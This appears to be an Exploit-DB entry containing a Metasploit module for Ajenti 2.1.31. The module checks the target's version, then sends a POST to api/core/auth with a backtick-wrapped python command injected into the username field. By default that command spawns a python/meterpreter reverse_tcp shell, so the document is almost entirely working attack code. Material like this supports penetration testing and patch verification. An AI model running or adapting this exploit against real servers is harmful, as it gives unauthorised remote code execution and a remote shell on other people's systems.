# Exploit Title: Ajenti 2.1.31 - Remote Code Exection (Metasploit) # Date: 2019-10-29 # Exploit Author: Onur ER # Vendor Homepage: http://ajenti.org/ # Software Link: https://github.com/ajenti/ajenti # Version: 2.1.31 # Tested on: Ubuntu 19.10 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "Ajenti 2.1.31 Remote Code Execution", 'Description' => %q{ This module exploits a command injection in Ajenti <= 2.1.31. By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned. }, 'Author' => [ 'Jeremy Brown', # Vulnerability discovery 'Onur ER ' # Metasploit module ], 'References' => [ ['EDB', '47497'] ], 'DisclosureDate' => '2019-10-14', 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Privileged' => false, 'Targets' => [ [ 'Ajenti <= 2.1.31', {} ] ], 'DefaultOptions' => { 'RPORT' => 8000, 'SSL' => 'True', 'payload' => 'python/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0 )) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => "/view/login/normal" }) if res and res.code == 200 if res.body =~ /'ajentiVersion', '2.1.31'/ return Exploit::CheckCode::Vulnerable elsif res.body =~ /Ajenti/ return Exploit::CheckCode::Detected end end vprint_error("Unable to determine due to a HTTP connection timeout") return Exploit::CheckCode::Unknown end def exploit print_status("Exploiting...") random_password = rand_text_alpha_lower(7) json_body = { 'username' => "`python -c \"#{payload.encoded}\"`", 'password' => random_password, 'mode' => 'normal' } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'api', 'core', 'auth'), 'ctype' => 'application/json', 'data' => JSON.generate(json_body) }) end end